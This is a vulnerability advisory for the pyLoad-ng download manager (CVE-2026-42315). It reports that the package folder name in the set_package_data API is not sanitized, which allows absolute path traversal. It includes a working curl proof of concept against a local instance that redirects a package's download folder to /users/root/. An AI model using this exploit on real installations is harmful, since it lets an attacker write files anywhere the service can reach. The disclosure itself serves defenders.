PT-2026-37264 · Pypi · Pyload-Ng

Published

2026-05-05

·

Updated

2026-05-05

·

CVE-2026-42315

CVSS v3.1

8.1

High

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary

No sanitization of package folder name allows writing files anywhere outside the intended download directory.

Affected Component

  • src/pyload/core/api/ init .py
  • Function: set package data()

Details

When passing a folder name in the set package data() API function call inside the data object with key " folder", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package.

PoC

  1. Create a package, note response package ID e.g. 5
curl -X 'POST' 
 'http://localhost:8000/api/add package' 
 -H 'accept: application/json' 
 -H 'X-API-Key: <valid api key>' 
 -H 'Content-Type: application/json' 
 -d '{
 "name": "set package data exploit poc",
 "links": [
  "http://example.com/file.txt"
 ],
 "dest": 1
}'
  1. Call set package data for this package ID with an arbitrary directory
curl -X 'POST' 
 'http://localhost:8000/api/set package data' 
 -H 'accept: */*' 
 -H 'X-API-Key: <valid api key>' 
 -H 'Content-Type: application/json' 
 -d '{
 "package id": 5,
 "data": {
  " folder": "/users/root/"
 }
}'
  1. New download folder will be set without any checks
curl -X 'GET' 
 'http://localhost:8000/api/get queue' 
 -H 'accept: application/json' 
 -H 'X-API-Key: <valid api key>'
Response:
[
 {
  "pid": 5,
  "name": "set package data exploit poc",
  "folder": "/users/root/",
  "site": "",
  "password": "",
  "dest": 1,
  "order": 1,
  "linksdone": 0,
  "sizedone": 0,
  "sizetotal": 0,
  "linkstotal": 1,
  "links": null,
  "fids": null
 }
]

Impact

Allows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.

Fix

Path traversal

Weakness Enumeration

Related Identifiers

CVE-2026-42315
GHSA-838G-GR43-QQG9

Affected Products

Pyload-Ng